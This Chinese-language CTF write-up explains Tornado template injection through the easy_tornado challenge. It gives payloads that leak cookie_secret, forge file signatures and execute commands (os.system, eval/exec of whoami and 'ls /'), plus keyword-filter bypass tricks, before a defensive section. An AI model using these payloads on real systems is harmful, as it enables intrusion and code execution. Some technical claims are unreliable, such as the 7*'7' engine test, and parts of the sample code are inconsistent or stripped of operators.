Tornado框架SSTI漏洞原理与CTF实战解析 1. 项目概述与核心挑战解析“[护网杯 2018]easy_tornado”这个标题对于熟悉CTFCapture The Flag夺旗赛Web安全方向的选手来说一眼就能看出其背景。它源自2018年“护网杯”网络安全竞赛的一道Web题目题目名称为“easy_tornado”。这道题在后续的在线CTF学习平台如BUUCTF上被收录成为了许多Web安全入门者学习服务器端模板注入SSTI和Tornado框架安全特性的经典案例。这道题的核心是考察选手对Python Tornado Web框架模板引擎的理解以及如何利用其特性进行攻击。Tornado是一个高性能的Python Web框架和异步网络库它内置了自己的模板系统。与Flask常用的Jinja2模板不同Tornado模板在某些细节和内置对象上存在差异这直接导致了攻击手法的不同。题目命名为“easy_tornado”通常意味着它旨在引导解题者理解Tornado框架下最基本的模板注入原理可能不涉及过于复杂的绕过技巧但要求对框架本身有清晰的认知。从实战角度看解这道题不仅仅是找到flag更是一个完整的学习过程你需要搭建或访问目标环境通过有限的交互点通常是几个URL观察应用行为分析后端可能的代码逻辑识别出存在用户输入与模板拼接的关键点最后构造出能够读取敏感信息如flag文件或执行代码的Payload。整个过程模拟了一次简单的黑盒/灰盒安全测试对于培养Web漏洞挖掘的逻辑思维至关重要。2. 环境复现与初步信息收集要深入理解这道题最好的方式是在可控的环境下复现它。虽然我们无法获取原题的后端源码但可以根据常见的出题思路和Tornado框架的特性构建一个高度近似的模拟环境。2.1 模拟环境搭建首先我们需要一个基础的Tornado Web应用。以下是一个模拟题目可能逻辑的Python代码import tornado.ioloop import tornado.web import os SECRET_COOKIE “a_very_secret_string_here” # 模拟题目中的cookie_secret class MainHandler(tornado.web.RequestHandler): def get(self): self.render(‘index.html’) class FileHandler(tornado.web.RequestHandler): def get(self): filename self.get_argument(‘filename’, ‘welcome.txt’) filepath os.path.join(‘files’, filename) if not os.path.exists(filepath): self.write(‘File not found!’) return with open(filepath, ‘r’) as f: content f.read() self.render(‘file.html’, filenamefilename, contentcontent) class ErrorHandler(tornado.web.RequestHandler): def get(self): msg self.get_argument(‘msg’, ‘Hello’) self.render(‘error.html’, msgmsg, cookie_secretSECRET_COOKIE) def make_app(): return tornado.web.Application([ (r’/’, MainHandler), (r’/file’, FileHandler), (r’/error’, ErrorHandler), ], template_path‘templates’) if __name__ ‘__main__’: app make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()这个应用有三个路由/ 主页渲染index.html。/file 文件读取功能通过filename参数指定读取files目录下的文件渲染file.html。/error 错误信息页面接收msg参数并将其渲染到error.html中同时将cookie_secret变量传递给模板。对应的模板文件内容如下index.html: 通常包含指向/file和/error的链接并给出一些提示比如“flag在/fllllllllllllag文件里”。file.html: 显示文件名和文件内容。{{content}}。error.html: 显示错误信息。{{msg}}。最关键的是它可能包含类似{{cookie_secret}}的调试信息或者出题人故意留下的线索如“md5(cookie_secretmd5(filename))”用于生成文件下载的签名。2.2 信息收集与功能分析启动服务后我们首先访问主页。假设主页提示我们有一个/file?filenameflag.txt可以查看提示。有一个/file?filenamehints.txt给出提示信息。有一个/error页面。我们按顺序访问GET /file?filenameflag.txt 返回内容可能是“flag在/fllllllllllllag文件里但需要正确的签名”。这告诉我们目标文件名和访问限制签名。GET /file?filenamehints.txt 返回内容可能是“如何获得签名/error?msg”。这提示我们/error页面可能与签名生成有关。GET /error?msgtest 页面返回“test”。尝试注入一些模板语法如{{7*7}}如果页面返回“49”则基本确认存在服务端模板注入SSTI并且模板引擎执行了我们的输入。注意 在真实CTF环境中信息收集可能更隐蔽。所有页面的响应头、注释、Cookie、JS文件都可能藏有线索。养成查看网页源代码和开发者工具网络面板的习惯是第一步。3. Tornado SSTI漏洞原理深度剖析确认SSTI存在后我们需要理解Tornado模板的语法和上下文环境才能构造有效的攻击Payload。3.1 Tornado模板基础语法Tornado模板使用双大括号{{ ... }}进行表达式求值和变量替换使用{% ... %}和{% end %}进行控制流语句。对于SSTI我们主要利用{{ ... }}。在模板渲染时Tornado会创建一个命名空间其中包含传递给render()方法的显式参数 如我们例子中的msg和cookie_secret。一些默认的全局函数和对象escape: HTML转义函数。xhtml_escape: 同上。url_escape: URL编码函数。json_encode: JSON编码函数。squeeze: 压缩空白字符。time:datetime模块。handler: 当前请求的RequestHandler对象。这是最关键的攻击入口。3.2 从handler对象到代码执行handler对象提供了访问当前请求所有上下文的能力。其属性链是攻击的路径。我们可以通过{{handler}}查看其字符串表示但更有效的是通过Python的类继承关系和方法列表来探索。在Tornado中handler是tornado.web.RequestHandler的实例。这个类拥有许多有用的属性handler.request: 当前请求对象HTTPServerRequest。handler.request.arguments: 所有GET/POST参数字典形式。handler.request.cookies: Cookie对象。handler.settings: 应用的设置字典。这里通常藏着cookie_secrethandler.settings本质上就是创建Application时传入的配置字典以及一些默认配置。如果出题人在创建app时设置了cookie_secret那么它就会在这里。因此获取cookie_secret的Payload通常就是{{handler.settings}}。3.3 构造文件读取Payload假设我们已经通过{{handler.settings}}在/error?msg页面上看到了输出其中包含{‘cookie_secret’: ‘this_is_a_secret_key_12345’, …其他配置…}。现在根据hints.txt的提示我们需要用cookie_secret和文件名/fllllllllllllag的MD5值生成一个签名。假设提示的算法是md5(cookie_secret md5(filename))。我们需要在模板注入的上下文中计算这个MD5。Tornado模板默认没有导入hashlib但我们可以通过Python的内省introspection能力来导入它。攻击链思路获取内置模块 Python中可以通过__import__函数或已经加载的模块来获取新模块。在SSTI中我们常利用__builtins__或对象的__class__回溯到基类object再通过__subclasses__()找到已加载的模块。一个常见的方法是{{””.__class__.__mro__[1].__subclasses__()}}。这会列出所有当前加载的类从中可以找到class ‘_frozen_importlib.BuiltinImporter’或其他包含os、subprocess模块的包装类。但这个方法不稳定且列表很长。利用handler.settings中的autoreload 在Tornado的settings中有时会存在autoreload模块它导入了os和subprocess。我们可以尝试{{handler.settings.autoreload}}查看。更直接的方法利用已导入的os模块 在Tornado应用或某些中间件中os模块很可能已经被导入。我们可以通过全局命名空间查找。一个更通用的方法是利用__builtins__{{handler.__init__.__globals__}}。__globals__是函数所在模块的全局命名空间字典。在RequestHandler.__init__的模块中很可能导入了os、hashlib等常用模块。经过测试一个有效的Payload可能是{{handler.__init__.__globals__[‘__builtins__’][‘__import__’](‘hashlib’).md5(handler.settings[‘cookie_secret’].encode()handler.__init__.__globals__[‘__builtins__’][‘__import__’](‘hashlib’).md5(‘/fllllllllllllag’.encode()).hexdigest().encode()).hexdigest()}}这个Payload看起来很复杂但逻辑清晰handler.__init__.__globals__[‘__builtins__’]获取内置函数字典。[‘__import__’](‘hashlib’)动态导入hashlib模块。计算md5(‘/fllllllllllllag’)。将cookie_secret与上一步的hexdigest拼接再计算MD5。实操心得 在实际攻击中这么长的Payload很容易出错。我通常会分步进行。先在/error?msg页面试{{handler.settings}}拿到cookie_secret。然后在自己的本地Python环境或者通过一个更简单的SSTI Payload如{{handler.__init__.__globals__[‘__builtins__’][‘exec’](‘import hashlib;print(hashlib.md5(b”test”).hexdigest())’)}}来验证计算逻辑。最后将计算好的签名直接用于访问/file。3.4 最终获取Flag假设我们计算出的签名为abcdef1234567890。那么访问目标flag的URL可能就是/file?filename/fllllllllllllagsignatureabcdef1234567890发送这个请求服务器会验证签名。如果正确就会通过FileHandler读取/fllllllllllllag文件的内容并在页面中渲染出来flag就显示在我们面前了。4. 漏洞挖掘与利用的进阶技巧解决了基本的easy_tornado我们可以思考更深入的问题这对于应对更复杂的SSTI题目大有裨益。4.1 如何快速识别Tornado SSTI语法测试 输入{{7*‘7’}}。Jinja2会报错或输出7777777而Tornado会输出49因为它在{{}}内进行Python求值。输入{{‘7’*7}}Jinja2输出7777777Tornado也输出7777777。但{{7*7}}两者都输出49。更可靠的测试是使用Tornado特有的全局对象如{{handler}}或{{escape}}。如果返回了对象信息基本就是Tornado。错误信息 故意构造错误语法如{{‘’}}观察错误回显。Tornado的错误信息会包含“Template”字样和Python traceback其中能看到tornado.template模块。Cookie与Header 查看响应头有时会有Server: TornadoServer的标识。4.2 沙箱逃逸与命令执行如果目标不仅仅是读文件而是要求执行命令RCE我们需要在SSTI上下文中调用os.system或subprocess.Popen。思路与导入hashlib类似但目标模块是os或subprocess。方法一从__subclasses__中寻找{{””.__class__.__mro__[1].__subclasses__()}}会返回一个很长的列表。我们需要在这个列表中找到包含os或subprocess模块的类。通常我们会寻找class ‘os._wrap_close’或class ‘subprocess.Popen’。找到后记下其索引例如class ‘os._wrap_close’在索引133。 那么Payload为{{””.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__[‘system’](‘id’)}}这利用了os._wrap_close类的__init__方法所在的模块全局变量来获取os.system函数。方法二利用__builtins__执行任意代码{{handler.__init__.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).system(‘whoami’)”)}}或者使用exec{{handler.__init__.__globals__[‘__builtins__’][‘exec’](“import os;os.system(‘ls /’)”)}}这种方法更直接但前提是__builtins__中的eval或exec可用且未被过滤。4.3 常见过滤与绕过手段真实题目或WAF可能会过滤一些关键词如__class__、__globals__、import、os、eval等。字符串拼接{{(‘__cla’’ss__’)}}{{(‘o’’s’).system(‘ls’)}}编码 使用Base64、Hex、Rot13等编码后解码执行。例如通过__builtins__找到bytes.fromhex或str.maketrans/translate来实现解码。属性访问的替代方式{{”.[“__class__”]}}在某些上下文可能不行但可以尝试{{getattr(”, ‘__class__’)}}。使用[]和pop(){{[].__class__.__base__.__subclasses__().pop(133)}} 但需要知道准确索引。利用其他内置函数或模块 如果os被过滤可以尝试subprocess、platform、popen等。甚至可以通过__import__(‘ctypes’).CDLL(None).system(b’id’)调用libc。4.4 自动化工具与手动测试的结合对于SSTI手动测试能帮助我们深刻理解原理但在CTF或渗透测试中效率也很重要。可以使用tplmap这类工具进行初步探测。但工具并非万能尤其是对于Tornado这类非Jinja2/Smarty的模板引擎工具的支持可能不完善。我的经验是先用工具扫一遍tplmap -u “http://target/error?msgtest”看它能否识别引擎并给出利用链。工具不灵时手动深入 如果工具识别不出或利用失败就回到手动分析。通过{{7*7}}、{{‘7’*7}}、{{handler}}等简单测试判断引擎。构造探测Payload 手动编写一个Payload来探测可用的模块和函数例如{{handler.__init__.__globals__.keys()}}查看全局变量或者{{dir(handler.request)}}查看请求对象的方法。5. 防御策略与安全开发建议作为开发者了解攻击手段是为了更好地防御。要避免Tornado应用中的SSTI漏洞关键在于严格遵循“不信任用户输入”的原则并对模板渲染进行安全加固。绝对禁止用户输入直接进入模板 这是最根本的原则。不要将任何来自用户请求的参数如GET/POST参数、Cookie、Header直接传递给render()方法或嵌入到模板字符串中。如果需要展示用户输入务必先进行严格的过滤或转义。使用安全的模板渲染方式 如果业务上确实需要动态渲染一些内容考虑使用更安全的文本替换方式或者建立一个严格的“白名单”映射将用户输入映射到预定义的、安全的模板片段。对Tornado模板进行沙箱限制 Tornado模板本身设计时考虑了一定的安全性但它不是沙箱。可以通过自定义tornado.template.Loader并重写_execute方法来限制模板中可访问的对象和函数。例如移除或覆盖handler对象的访问权限限制__builtins__的可用函数。内容安全策略CSP 虽然CSP主要防御XSS但作为一种深度防御措施它可以限制页面加载外部资源在一定程度上增加攻击难度。代码审计与安全测试 在代码审查阶段重点关注所有调用self.render()的地方检查其参数是否直接或间接来源于用户输入。定期进行黑盒和白盒安全测试使用SSTI测试Payload对应用进行扫描。回顾整个“[护网杯 2018]easy_tornado”的解题过程它像是一个精巧的引导教程从信息收集到SSTI确认再到利用框架特性获取关键信息cookie_secret最后完成签名验证。这道题之所以经典是因为它完美地将一个框架的特性handler.settings与一个常见的漏洞类型SSTI结合起来并加入了简单的密码学元素MD5签名考察了选手的综合能力。在实战中遇到的SSTI场景可能更隐蔽过滤更严格但核心的思维模式——理解模板引擎的渲染机制、探索可用的上下文对象、构造链式属性访问——是相通的。解决这类问题的快感不仅在于拿到flag的那一刻更在于一步步揭开系统面纱理解其内部运行逻辑的过程。